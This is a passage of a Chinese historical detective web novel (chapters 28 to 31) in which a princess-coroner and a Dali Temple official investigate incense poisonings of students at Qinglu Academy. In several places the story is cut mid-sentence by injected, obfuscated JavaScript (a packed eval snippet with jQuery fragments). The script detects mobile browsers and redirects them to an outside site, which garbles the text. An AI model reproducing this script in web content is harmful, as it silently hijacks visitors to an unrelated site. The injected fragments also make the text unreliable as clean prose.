片刻后,沈砚咳嗽了一声,缓缓睁开眼睛,眼神涣散:“我,我不是故意的。” 明荔按住他的肩膀,沉声道:“你说清楚,什么不是故意的?莫非是你给三位同窗下的毒?” 沈砚眼中流下泪水,摇了摇头:“我只是想让他们,让他们犯困,错过今日的策论考试我没想到会这样。” 谢知津皱眉:“你从何处得来的香?” “是,是我府中调香师调配的。” 陆文渊看着病榻上的沈砚,痛心疾首:“你这孩子,怎么能如此糊涂!” 他们查看第三处现场时,夜色已深。 书院安排了厢房,但二人都无睡意。 “三个现场都有异香,死者皆无挣扎痕迹。”谢知津在灯下梳理线索,取出白日藏在袖中的粉末,在灯下细看。 “明日还需要找个懂香的人来。” 谢知津点头:“已让人去请京城最好的调香师。” 窗外雨声渐歇,只余檐水滴答。 明荔望着跳动的灯花,伏在桌子上发呆。 “我记得你以前,对这种仵作之事从不感兴趣,你恩师苑公也曾举荐你去大理寺当个仵作,如今怎么又改变主意了。” “或许是因为,”她轻声道,“死者不能白死,她们需要一个人来还他们公道。” “对了,我今日入宫,向陛下讨了个恩典。”谢知津意图转移话题。 明荔好奇地看着他,谢知津接着说道:“陛下应允你我的婚事了。” “?” “此话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802161|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当真?”明荔朗声道。 “当真,我何时骗过你。” “不过天子一言九鼎。既答应了把我许给太子,你是用了什么法子让他答应的。” 谢知津沉思一瞬,轻笑,“原就不是什么难事,而且赐婚的圣旨未下,陛下也不算失信于太子。” 更鼓声传来,三更了。 谢知津起身告辞,走到门边时,他忽然回头。 “郡主小心。凶手可能在暗处看着我们。” 明荔瞧着从王衍处得来的书卷,微微一笑。 “谢大人放心,我会好好保护自己,绝对不给您拖后腿。” # 这一觉明荔睡的很好,次日简单洗漱后,立于廊下。 明荔看着早起的学子们抱着书卷匆匆走过。 他们低垂着眼,不敢与她对视,但私底下还会偷偷讨论死人的事。 “昨夜睡的好吗?”谢知津的声音从身后传来,递来一盏温茶,眼下泛着青黑,显然一夜未眠。 她接过温茶,谢知津又递给她一些剥好的栗子,“今儿早陆山长派人送来的,我记得你爱吃。” “你,一夜没睡吗?” 谢知津笑笑,摸了摸自己的脸,“我恋床,偶尔换了个地方,就睡不安稳。” 明荔笑了笑,回廊对面的周蔚靠着莫以新,正剥糖炒栗子,也随之不屑一笑,“我还以为他是心疼我奔波了一夜,亲手给我剥栗子呢。” 莫以新白了他一眼,“你当大人昨夜就睡好了?昨夜我和大人在郡主门前守了一宿,还哪有心力给你剥栗子?” 周蔚耸耸肩,叹了口气,又继续打探道,“我听人说,明郡主同谢大人之前是成过婚的,只不过明郡主在大婚当日悔婚,丢下大人独自走了,此事当真?” 莫以新长舒了口气,又白了他一眼,“你若是把心思都用在查案子上,也不至于到现在还是个司直。” “唉,你这人……” 正巧调香师已到,周蔚随着跟了过去。 “大人,这位便是林大人找来的调香师。” 明荔定睛看了许久,男生女相,模样极好。 “见过两位大人。” 他略略一拜,被谢知津引至屋内。 “此香奇特。”柳七捻着谢知津收集的粉末,“遇曼陀罗,洋金花有致幻之效,其中又掺了龙涎定神,更有一味不曾见过。需时日研究,不过这调配手法极精妙,非寻常人能为之。” 正说着,一个莫以新扣了扣门,“大人,找到余下两位死者放中放置的香炉了!” 这香炉被放置在在书院后厨的杂物间里,炉壁内里干干净净,连一丝香灰都不剩,显然已经被人清洗过了。 谢知津冷笑:“倒是谨慎。” 他将香炉搁在一旁,又吩咐莫以新:“把负责清洗的杂役带来。” “是。” 莫以新走后,只听明荔对柳七说,“方才听您说需要时日才能知晓香料中究竟有何物,我想着您来回奔波会受累,不如便在书院住下,潜心研究,您意下如何。” 柳七明显犹豫,毕竟谁也不想住在一个死过人的地方。 不过又听她道,“先生放心,谢大人会派人时刻保护您的安全的。”他这才松口答应。 29. 第 29 章 杂役是个瘦小少年叫小八的,年纪不大,一身粗布衣衫,口齿不大伶俐。 “是你打扫的王衍和张岚寝舍?” 小八看了看堂上坐着的谢知津和明荔,战战兢兢地说,“是我打扫的寝舍。” “你可曾动过这香炉?” 小八瞧着谢知津手边的紫檀香炉连忙摆手,“不是我,我只是负责洒扫,香炉是守夜人周叔给我的,说沾了秽物,要仔细清洗。” “周叔在哪?”谢知津问。 “应该,应该在值房里歇着,我也不大知道。” 谢知津抬眼,示意周蔚去带人。 守夜人的值房在书院最西侧,阴暗潮湿。 床褥凌乱,墙角堆着些杂物,窗台上却摆着个粗瓷瓶,插着几枝新鲜的花。 周叔正坐在床边缝补衣裳,见有人闯入,手一抖,针扎进了指腹。 “大人这是。”他慌忙起身,眼神闪烁。 周叔被推搡着进了内堂,谢知津单刀直入,“你为何要让小八清洗王衍和张岚屋里的香炉?” 周叔搓着手:“那香炉是我在后院捡的,看着脏了,就让小八拿去洗了。” “在何处捡到?”明荔忽然问。 “就,就在水井边。” “哪个水井?” “东院那口......” 三个死者都住在西院,与东院水井相距甚远,如此要么就是周叔在说谎,要么就是凶手怕迷香之事被发现,将香炉丢了过去。 “你每夜都巡夜?”她转而问道。 “是,是的规定要巡三遍。” “昨夜可曾见异常?” 周叔的喉结滚动了一下:“没,没有。” 明荔的目光落在他鞋上。 那双布鞋的鞋边,似乎粘了些东西。 谢知津也注意到了。 他使了个眼色,周蔚立即上前让他脱下下了那双鞋。 “鞋子便就搁在这吧。”谢知津淡淡道,“想起什么,随时禀报。” 他走后,谢知津用匕首刮下了鞋底蹭着的泥土。 虽已微干,但仍能看出是红泥。 “这红泥……”谢知津用手帕擦了擦手,“西院皆是青石板路,东院水井周遭是黄土,唯有后山的胭脂坡,才是这种红泥。” 明荔指尖轻点案几:“周叔说昨夜按规巡夜三遍,既没见异常,鞋底怎会沾上山坡的红泥?陆山长说后山是书院禁地,因多有蛇虫,明令禁止学生前往。一个守夜人,深夜去那里做什么。” “郡主。”去周蔚本是去监视周叔的如今去而复返,神色凝重,“周叔不见了。” 他们赶到值房时,只见后窗大开,一件外袍扔在床上。 “搜!”谢知津厉声道。 书院顿时骚动起来。衙役们四处搜寻,学子们抱着书,站在廊下惶恐张望。 明荔独自走向后山,那条小径上的红泥脚印还很新鲜,她循着痕迹深入林中。 晨起,林间雾气未散。走了约莫一炷香时间,她看见一个身影蹲在树下。 “周叔?”她轻声唤道。 那人猛地回头,正是守夜人。 他手中攥着个布包,脸色惨白。 “别过来!”他嘶声道。 明荔停下脚步:“你在此地做什么?” 周叔颤抖着,忽然跪倒在地:“小人,小人只是偷看,没杀人啊!” “偷看什么?” “偷看,学子们夜读。”他涕泪横流,“小人孤家寡人,就,就这点癖好......” 明荔看着他手中的布包:“你手里拿的,那是什么?” 周叔慌忙将布包藏到身后:“没什么。” 周遭响起脚步声,谢知津的声音从后方传来,他将明荔护在身后,周蔚等人将周叔团团围住。 布包被强行夺下,里面是几件女子的贴身衣物,还有几缕青丝。 周叔瘫软在地,承认自己有偷窥癖和收集癖,常趁学子们不注意时偷拿些私物。 “我来此只是想趁着无人之时将这些私物埋了,不想惹上嫌疑。” 她仔细打量周叔,这个年近五十的男人手指粗糙,身形佝偻,不像能制出那般精妙迷香的人。 “三个死者,你可曾偷看过他们?”她突然问。 周叔一愣,眼神闪烁:“没,没有。” “说谎。”谢知津冷声道,“若此时你承认,我们便不会追究,若是让我们发现你真的偷窥了三位学子……” 周叔浑身发抖,终于承认偷看过张澜和王珩,但因崔谦警觉,不曾得手。 “那夜你看到了什么?”明荔紧盯他的眼睛,“在张澜死的那晚。” 周叔的嘴唇哆嗦着:“看,看到他伏案写字,然后,熄灯睡了。” “然后呢?” “然后,然后小人也去睡了…… 明荔与谢知津对视一眼。 押周叔回书院的路上,明荔一直在思索。如果周叔不是凶手,为何行为如此诡异?如果他是凶手,动机又是什么? 在路过东院水井时,她忽然驻足。 “谢大人,可否让人打捞这口井?” 谢知津挑眉:“觉得有物证?” “只是觉得,”明荔看着幽深的井口,“若我要藏东西,这里最合适。” 衙役们开始打捞。 一炷香后,钩子碰到了硬物。 捞上来的是一个油布包,里面整整齐齐放着——三本书。 《禹贡地理考》《河渠要论》《治水策》。 这三本都是早已失传的水利专著,只在宫中藏书阁有孤本,明荔少时也曾读过一些,只是后来觉得实在无趣便放下了。 ### 崔谦等人的寝舍还封着,明荔推开门,晨光透过窗棂,照见空气中浮动的微尘。 她在书案前坐下,试图还原那个夜晚。 一个苦读的学子,在深夜感到困倦,或许会焚香提神。 明荔的目光定格在窗纸上,那里有一个极小的孔洞,若非阳光正好照到,根本难以察觉,昨日夜色已深,众人未曾觉察,也是情有可原。 她到外头细看,通过小洞,正好能看见书案的位置。 如此看来周叔并未撒谎。 出门走一段路穿过月牙石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808110|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门便是一片竹林,颇有曲径通幽处之意,从石板路上去再走十丈便是张岚的寝房,不过还未至,远远瞧着便觉不远处有火光跳跃。 再走近些,听见有人在哭,“张兄,崔兄,王兄,一路走好。” “你和他们关系很好?” 那学子被吓了一跳,衣摆沾上了火,烧了起来。 明荔眼疾手快,忙抬脚踩灭火星。 那学子惊魂未定,看清来人后慌忙躬身行礼:“学生林君,见过郡主。” “你认得我?” 林君揩揩眼泪,“我是礼部尚书次子,去岁宫宴,曾远远瞧过郡主一边,前几日又听父亲说,郡主如今成了大理寺的仵作,昨日又见您和谢大人查验尸体,便知晓了。” 明荔点点头,又重复了一遍方才的问题。“你和他们三个关系都很好?” 林君回头望了一眼张岚的寝房,“我和张岚是最好的,当年我入青麓书院时,他们都因为我是礼部尚书的儿子故意疏远我,只有张岚,照顾我,还带着我一同上学读书。” “后来,我发现,那些人对张岚也不好,起先,我还以为是我的原因。可后来我听人说,他们觉着张岚孤高自傲,同他们不合群,所以也同样疏远他。” 说话间两人已经至张岚寝舍门口,林君又哭的更厉害了,“若是我当初不换寝舍就好了,张兄也不至于如此。” “为何换了寝舍?” 明荔拉开张岚床头的柜子,除了几支上好的毛笔外,便都是一些治水之书。 “王衍同张岚不和,臧乡知晓后便用了些关系,让王衍和我换了寝舍,若是我当时勇敢一些,说不定如今便有机会救张兄于危难。” 看他哭的惨烈,明荔将手帕递给他,“擦擦吧,凶手若是想置他于死地,就算你在场也无能为力。” “那个臧乡,和张岚关系非常不好吗?” 林君猛地点头,“臧乡家境不大好,所以一直想通过读书逆天改命,张兄家境也不好,可连中两元,而臧乡却一直居于榜尾,所以一直咽不下这口气。” “不会是臧乡,实在气不过然后杀了张兄吧。” 明荔瞥他一眼,摇了摇头,“臧乡只是有嫌疑,但不能定为凶手,你不要乱说。” “好的郡主。”林君将手帕叠好揣到袖子里,“污了郡主的手帕实在抱歉,待我清洗干净后再还给您吧。” “那王衍呢,他是个怎样的人?” 在房中查验无果,明荔想着从别处找找线索。 “王衍是个只会攀附的小人,不过不可置否,他的确有些才华,因此有时也会和张兄聊得来,若遇分歧,两人也会大吵。至于家境,王衍祖上是商贾,十分有钱。” “他平时有熏香的习惯?” 林君想了想,“每次我来寝舍寻张兄时,他们的屋子都是香香的。后来崔谦问他熏的是什么香,王衍二话没说便给了他一些,后来又有学子觉得味道不错向他要,王衍便也都给了他们。” “是什么香,你可有?” 林君无奈的看着她,“我不喜熏香,当时王衍给我之时我推拒了,不过同寝的耿丰茂处应该还有一些。” 30. 第 30 章 明荔随林君到了他的寝舍,和其他两个寝舍不同,林君和耿丰茂这间坐南朝北,很少有光透进来,如今天光大亮,屋里竟让人觉着有些阴冷。 屋中,耿丰茂正埋头苦读,见林君带一女子回来,耿丰茂登时便起身上前询问,“这位是?” “这是明郡主,也是大理寺的仵作,她有些事要问你。” 耿丰茂笑道,“郡主请问,我定知无不言。” “听林君说,王衍曾给过你香料,你这可还有?” 耿丰茂是个书呆子,说话一板一眼的,“有的,郡主请稍待。” 耿丰茂打开了自己床头的柜子,翻找半晌才取出一个极其精致的香料盒子,“这便是王衍给我的香料。” 香料并未用多少,打开盖子来看,也便只有被动过一小勺的痕迹。 “这香除了你还有谁有?” 耿丰茂说话喜欢直来直去,不假思索道,“王衍此人喜欢结交对自己有助益的好友,而我们书院多半都是些寒门子弟,少有贵族中人,若是有,也是像林兄这般在族中不得眼的。所以这香也没送出去多少,除了已故的三位仁兄,便只有山长,还有隔壁的两个寝舍有。” 林君想了想,也认同此说法。 “这香你用着可有异样?”她抬眼看向耿丰茂,声音清冽如浸冰泉。 耿丰茂挠了挠头,一脸实诚:“倒也没有,只是我闻这些香鼻子总会不舒服,林兄也不大喜欢,所以便没在用了。”他指了指明荔手里的盒子,“你瞧,余下的都在这儿,没动过多少。” 林君忽然插话:“山长素来不喜熏香,也不知王衍送这做什么。” “王衍也不大喜欢山长。”耿丰茂回忆道,“上月山长生辰,王衍瞧着别人都送了礼,自己两手空空觉着面上过不去,便也送了山长。前几日我路过山长书房,还瞧见了那盒子,就摆在桌案上。” 明荔心中一动,将香料盒盖好收入袖中:“多谢你告知。”她转头看向林君,“烦请带我去隔壁寝舍一趟,另外,山长此刻可在书院?” 林君颔首应下,正要迈步,却见耿丰茂忽然面色一白,嘴唇嗫嚅着:“郡主,我想起一事。” “那日夜里,我起夜时撞见王衍从张兄的寝舍出来,手里攥着个布包,神色慌张得很。我当时以为他是思念同窗,也没多问。” “布包?”明荔向他形容昨日从水井中打捞出来的证物,“可是一个油布包,封口处还带着一个杏黄色小花?” 耿丰茂摇摇头,“当时天色太晚了,具体长什么样子,我并未看清。” “隔壁寝舍住的是谁?”她急切地问。 “是周衡和吴磊,”林君接口道,“他们二人与王衍走得颇近,五日前还一同出了书院。” “引我去见周衡二人吧。” 明荔继续问询方才的事,“五日前,你们同王衍一道出了书院,去了何处?” 周衡面漏愧色,“我们,我们去了,花楼。” 吴磊吞咽着口水,“是王衍非要带我们去,他说在书院中学习,一直不找些乐子会麻痹身心,要带我们出去放松,可他也没说是要去花楼啊,我们到那儿才知道,然后便被王衍拉进去了。” 若是自己不想做之事,别人如何邀请,都会不为所动,明明便是自己心境不稳,却还要将罪责强加于已故之人,实属不该。 “哪间花楼?见了谁?” 周衡回忆道,“一位叫戎蕊的姑娘,王衍和她应该是常见的,我们一进去,妈妈就叫戎蕊过来服侍了。” “王衍送给你们的香,可还有?” “有的。”周衡立刻去往柜中取出一个和耿丰茂手里一模一样的盒子。 吴磊愣在原地,支支吾吾的,“我的送给花楼的灵儿姑娘了。” 明荔将周衡的香料收好,又问道,“臧乡此人你们又了解多少?” 吴磊道,“臧乡和张岚关系是出了名的不好,此人擅妒,谁若是比他过得好,他便要让他过得不好,不过也是个欺软怕硬的,她就从来不敢得罪王衍。” 几人都已盘问妥当,从寝舍出来之时已近酉时,同林君做别后,明荔便回了寝房。 从青麓书院至京州,快马加鞭至少也需要三个时辰,她算着时间,谢知津他们至少还需要一个时辰方可归来。 趁此空闲之际,明荔将得来的三盒香都送到了调香师柳七处,正逢山长派人来送膳,两人便用了些。 “你是从小便学习调香的吗?” 柳七不爱说话,答明荔的话,也是看着她身份的面子,“回郡主,小人从八岁开始学习调香,至今已经十年,若是郡主想要什么香,大可交代小人。” ‘十年。’ 她在心里想,这柳七今年十八啊,怪不得长得这么水灵,比谢知津还要美艳,就是,身材差了些,薄薄的,风一吹就要倒似的。 明荔看着他的眼睛入迷,桃花眼,当真是吸引人。 瞧的柳七竟有些害羞,面色渐渐泛红。 “谢大人。” 柳七忽地起身行礼,明荔也随着瞧,还真是谢知津。 满头大汗,脸色不佳。 “谢大人怎么这么快便回来了。” 谢知津大马金刀的坐下,抓起桌上的凉茶猛灌了大半碗,喉结滚动间才缓过气,声音带着几分沙哑,“看来郡主不大希望我回来。” 他冷眼瞧了柳七,柳七这人也识相,借口要验香,端着饭便出门去了。 “哪有,毕竟查案重要,我当然是盼着你回来的。” 谢知津轻‘哼’了声,徐徐而抒,“我去见了沈砚府上的那位调香师。她在京城中有家铺子,因这香有安神之效,又好闻,所以颇受欢迎。而王衍恰好也买过此香,购入大概十多盒。” “另外,我已命人将王衍和张岚的尸体带回,如今你可以开始查验他二人的尸体了。” 据山长所说,王衍和张岚死的次日,山长便让人通知父母将其带回,若是晚了一步,两人便要入土。 两人即刻动身往停尸厅,“第一位死者张岚的死亡时间,应当是在三日前,从尸斑瘢痕看,多集中在臀部、大腿后侧、小腿后侧,上身集中在右臂内侧,所以张岚应当是坐着死去,根据周叔的证词来看,张岚应是写字时忽觉困顿,所以吹了灯,睡了过去。” “第二位死者王衍,死亡时间应当也是三日前,根据尸斑分布看以背部、臀部、枕部、颈项后侧、四肢后侧等身体低垂且受压部位为主,所以当时王衍应当已经在睡梦中,我曾顺着二人寝舍窗子上的洞看过里头,周叔所处的位置是看不见床榻的,因而他未曾注意寝舍里头的王衍。三位死者没有有明显外伤,瞳孔散大,口唇发绀,口鼻中残留曼陀罗特有的甜腥气,因此看,是中毒窒息而亡。” “大人,柳七来了。”周蔚入内通传,柳七将三盒香料都一一验过,并写下了配方,“大人请看,这三盒香料都是一样的,可判定出自同一人之手,从配方上看也并无不妥,只一味夹竹桃,虽然味道清新淡雅,但同曼陀罗花相遇,释放毒性。再加上寝舍基本为密闭空间,香气无法扩散,使人呼吸不畅直至停滞。” 了解死因后,明荔缓缓道,“趁着天色还早,咱们去拜会一下山长吧。” 日落西山,明荔跟着谢知津,沿着青石板道往山长的房间去,竹林间洋洋洒洒的透过一些稀碎的光晕,也是颇有意境。 山长此时刚用过膳,明荔瞧见了端出去的盘子,都是些素菜。 “你们来了,都快坐吧。” 山长请他们喝了清茶,“我这没什么好茶,同大人,郡主府中的比,味道自然是差了些,还希望两位不要嫌弃。” “山长也喜欢求神拜佛吗?” 明荔瞥见了屏风后头供奉的佛像。 “出此祸事,全是我这位山长看管不力,我当受罚,求神拜佛,也只希望我的学生可以早入轮回。” 明荔指尖摩挲着茶盏边缘,目光掠过案几上那只熟悉的香料盒,正是王衍所送,此刻盒盖半掩,里头的香料已所剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆文渊眉头紧锁,似在思索:“书院学子众多,谁会有机会接触我的藏书?况且这几本书是孤本,平日里都锁在书房书柜中。” “锁?”明荔忽然想起耿丰茂提及的“王衍深夜从张岚寝舍出来”,“山长书房的钥匙,除了您自己,还有谁持有?” “只有负责打扫的杂役周叔,还有,”陆文渊话音一顿,眼中闪过一丝犹豫,似是难以置信,“王衍。他曾多次借故帮我整理藏书,老夫念他机灵,便给过他一把备用钥匙,只是半月前书遗失后,便收回了。” “山长可知这书中夹了几片曼陀罗花的花瓣?而死者,便是死于曼陀罗花?”谢知津问道。 陆山长顿时变得惊恐万分,“怎会有曼陀罗花瓣?,老夫的藏书向来洁净,绝无此物!绝无此物!这点书院的学子们都是知晓,大人若是不信,可叫人来问!” 他双手撑在案几上,“定是王衍!是他借整理藏书之机,偷偷将花瓣藏入书中!” 可如今,王衍已死,如今全是死无对证。 见天色已黑,明荔同谢知津告辞后,一道回了寝舍。 油灯下,明荔和谢知津正翻看着这几本水利书。 “王衍为什么要将张岚的书扔到水井中呢?”谢知津小声嘀咕。 明荔正想着,房门被轻轻扣响。 “大人,周叔说,他想起了一些事。” 谢知津忙去开门,周叔站在案桌前,手搓着衣角。 “正好你来了,不然我还想着将你叫来问这几本书的事。” 谢知津叫他近前来看,“你可曾见过这几本书?” 周叔笑笑,“我不识字的,哪认得什么书啊。” 随后谢知津将证物放在一旁,“那你想起了何事?” “张澜死的那夜,我确实在窗外偷看。子时前后,我见他正收拾书案,正要细看,我忽听脚步声忽近,我便慌忙躲进树丛里。” “然后呢?” “然后,然后看见一个人影走进张澜房中。”周叔咽了口唾沫,“穿着书院先生的青袍。” “可看清是谁?”谢知津又问。 “当时太暗,只看清,那人左腿微跛,不过,我们书院,腿脚不好的,只有程成一人,我当时并未放在心上,以为只是找张岚探讨学术,毕竟张岚他在书院内是最出色的,受学者们喜爱在正常不过。” 31. 何不同舟楫 谢知津立即派人去请程成。 等待的间隙,明荔还在看那几本书。 “旧盟犹在耳,何处觅舟楫?” 在《河渠要论》的封皮夹层里,发现了一页对折的纸。 字迹清秀工整,与从王珩房中得来的书卷笔迹一致 “这是王珩的字。”明荔确认道,将残破词递给谢知津,“能看的出,他也并非全然是个纨绔之辈。” 程成很快被请来,这位年过四旬的先生步履从容,左腿确实微跛。 “张岚死的那夜,你在何处?” 程煜回想着,随后坦然道,“我同臧乡学子在一块下棋,大概四更天的时候才回。” “可有人证?”谢知津问。 “书院门房阿周可见我归来,还问了我一嘴,我还将从臧乡处得来的糕点给了他一些。” 谢知津示意门外守着的周蔚往门房处取证。 “先生请坐。”明荔忽然问:“程先生可熟悉水利典籍?” 程煜微笑:“略知一二。不过陆山长才是大家,当年他的《水经通释》可是轰动士林。” “那是三十年前的事了。”程煜眼中露出钦佩,“山长当年以《水经通释》夺得翰林院头名,被誉为水利第一人。” “后来如何?”谢知津追问。 “后来领头的御史因‘治河不力’获罪流放,其余几人或辞官或病逝,盟约便不了了之。”程成叹了口气,“当年山长力证御史清白,却被指偏袒同党,险些丢了功名,自此便极少提及旧事。” 正说着,周蔚匆匆返回,附在谢知津耳边低语:“大人,门房阿周证实,程先生四更天确曾归来,还赠了糕点。只是他说,先生回来时衣衫好像粘了些湿泥。” 谢知津眸色一沉:“张岚死的那夜并未下雨,先生衣服如何粘上湿泥,可是去了何处?” 程成神色不变,从容答道:“前夜与臧乡学子下棋时,不慎打翻茶盏弄湿衣袍,因天色太晚,回屋时不想脚下打滑摔了一跤,倒沾了些泥污。”他掀起袍角,“你瞧,我这腿现在还肿着呢。” “那夜您可还见过什么可疑的人吗?” 程成想了半天,只说没有,谢知津便派人护送他回去了。 “如今,我还有一事想不通。” 谢知津沉声,“你说的是,死者房中的曼陀罗?” “是,死者口鼻中的确有曼陀罗的香气,可我在房中并未查到关于曼陀罗花的痕迹。”她瞧着手中的书卷,“还有便是,这王衍为何要把这书丢在井中,那夜从张岚房里出来的人,究竟是谁?” 明荔的额角突突直跳。 “太晚了,你先休息,待明日再查也不迟。” 谢知津将床铺给她铺好,关好窗子后,出门去了。 当夜,明荔躺在床上,辗转反侧,满脑子都是这个案子。 夜里,谢知津和莫以新坐在廊下,谢知津想着明荔的话,不自觉的低语,“你说凶手究竟是如何将曼陀罗花藏在死者房中的呢?” “灯芯。” 谢知津侧目望向莫以新。 “早些年行走江湖的时候,透过窗子给人家下药容易被人发现,所以我们便将药粉融合在灯芯中,随着灯燃烧,灯芯融化,气味也随之而出。” “而且那日,我在外头守着看的清楚,大人和郡主都将注意力放在了尸体,和房间布局上,并未瞧出来,崔谦的房间是少了一盏油灯的。” 谢知津直起身子,登时便向崔谦的寝舍走,因此处发生命案,所以一直都有大理寺的衙役守着,入内前他也曾确认过,这段时间并无外人入内。 “的确是少了一盏油灯。” 谢知津站在崔谦房中,目光扫过桌案。 两盏油灯的铜座还在,其中一盏灯座上残留着凝固的蜡油,另一盏却干干净净。 “凶手杀了人,又在崔谦死后入内将蜡烛带走。”谢知津沉思一会儿后,问道,“第一个发现凶手的人是谁?” 莫以新沉思了一瞬,道,“好像是一位叫林君的学子。当时,周蔚还问询了他一些相关事宜。” 谢知津点点头,“今日天色已晚,学子们都已睡下,待明日我们在找林君问话。” ### 次日天还未亮明荔便起身,简单梳洗,用过早膳后,天光才有渐亮之势。 出门之时,遇见了林君,他正在明荔门口踱步,不知道是否该进去叨扰。 推开门之时,明荔还把他吓了一跳,连行李箱问好的姿势都有些歪斜。 “林学子可是有什么事?” “哦,对。”林君将手帕递还给她,“我是来归还手帕的。” 没过多时,谢知津和周蔚也走了过来。 “学生见过两位大人。”林君缓缓一拜。 “你们两个怎的也来这么早?” 谢知津背过手去,瞧着林君,“有些事,要问问林学子,所以便就来了。” “不知学生有什么能帮到大人的?”林君不明所以。 晨起本就冷,又是在山间,风有些大。 谢知津瞥了眼明荔,于是道,“快入秋了天气冷,进去再说罢。” 屋内陈设简单,一张木桌配着四张竹椅,风卷着枯叶擦过窗纸,簌簌声响衬得屋中愈发静。 谢知津率先落座,目光落在林君身上,语气沉缓:“林学子,你且仔细说说,发现崔谦尸首后,进屋后又瞧得些什么?” 林君垂眸颔首,仔细回想,缓声道:“回大人,那日学生起得早,想去后山背书,路过崔师兄寝舍时,见门虚掩着,里头没半点动静,便推门进去瞧了瞧。进屋时崔师兄倒在地上,学生吓得慌了神,便就出去喊人,找陆山长了。” “那你还有没有印象,当时屋中是几盏油灯?”谢知津继续问道。 林君竭力回想,不过当时他被吓得魂儿都要飞了,哪里还记得这些,“恕我无能为力,我实在记不得了。” 众人心里暗叹了口气,随后明荔又把那卷《河渠要论》中夹着的纸张递给他。 那半阙词的最后两句是:旧盟犹在耳,何处觅舟楫? 底部落款为,知舟。 “这位知舟,是何人?” 林君笑笑答,“是张岚,他表字叫知舟。” 明荔心念一动:“所以这半阙词是张岚所作?但笔迹分明是王珩的。” 林君仔细看着那页纸,沉吟道:“这确实是王珩的字。至于内容张岚师兄与王珩素来不,怎么会抄录他的词作?” 谢知津忽然开口:“你方才说张岚表字知舟,那‘何处觅舟楫’这句,是否另有所指?” 屋内骤然安静下来,窗外风声愈紧,枯叶沙沙作响。 门外莫以新的声音,打破了屋中半刻沉寂,“大人,周叔,死了。” 一路上,谢知津在前头大步流星的走着,明荔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828785|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟在后头小步跑,听他怒斥莫以新,“不是叫你们把人看好了吗?怎么回事?!” 莫以新从始至终不敢说一句话,只在旁边紧跟着。 周叔是趴在饭桌前死的,几人来时,血滴答滴答的向下流,滴入地面的血泊中。 周蔚和莫以新上前,将他放在床榻上,等明荔验尸。 明荔检查了他手腕处的伤口,很深,从伤口边缘皮肉状态看,应当是被类似于瓷器片有厚度的东西划破的。 “他,他是自杀的?”林君颤颤巍巍的发声,似乎是怕若是被杀,下一个死的人便就会是自己。 谢知津走到庭中待命的衙役,道:“今晨谁当值?” 衙役们面面相觑,最后推出一个瘦小的少年:“是,是小卑职” 少年叫李年,吓得脸色惨白,说早食前后确实有人来过,说是按矩送吃食来。 “穿着什么衣服?”谢知津问。 “就是普通的,青,青麓书院的学子服......” 李年生意愈来愈小,始终不敢抬头看谢知津,怕受罚。 除了陆山长,程成外,青麓书院学子服制式统一,若无明显特征根本无法捉到凶手。 谢知津凝眸,继续追问,“青麓书院学子服制式统一,你再仔细想想,来人高矮胖瘦如何,有没有什么显眼特征?” 李年浑身打颤,额角冒冷汗,努力回想半晌才支吾道:“身量中等,看着不胖不瘦,头上戴了书院的儒巾,垂着帘儿挡了大半脸,说话声音哑哑的,像是伤风了,放下食盒就走了,没多停留……” “食盒呢?”明荔蹲在床榻边,指尖刚触到周叔脖颈处的淤痕,骤然抬眼追问。 李年慌忙指向桌角:“还,还在那儿,没敢动。” 谢知津快步走过去,抬手掀开食盒盖子,除了已经摆在桌面上的吃食外再无他物。食盒内壁,触感光滑,并无异常,随后他又将食盒倒扣过来,也没掉出半点东西,因而眉头拧得更紧:“莫以新,带李年去学子住处逐一辨认,哪怕只记着一点特征,也务必筛出可疑之人。” “是。”莫以新应声,拽着还在发抖的李年往外走,脚步刚跨出门,就被谢知津叫住:“仔细些,别打草惊蛇。” 屋中只剩谢知津,明荔两人,林君不敢在屋中继续呆下去,便有周蔚陪着屋外站着,廊下的枯叶被风卷得打转,血腥味混着山间的冷意,让人脊背发寒。 林君站在门边,脸色惨白,双手攥着衣角,显然是被眼前的景象吓住了。 明荔起身,走到谢知津身边,声音压得极低:“周叔不是自杀。” 谢知津侧目看她,眸色沉沉:“何以见得?” 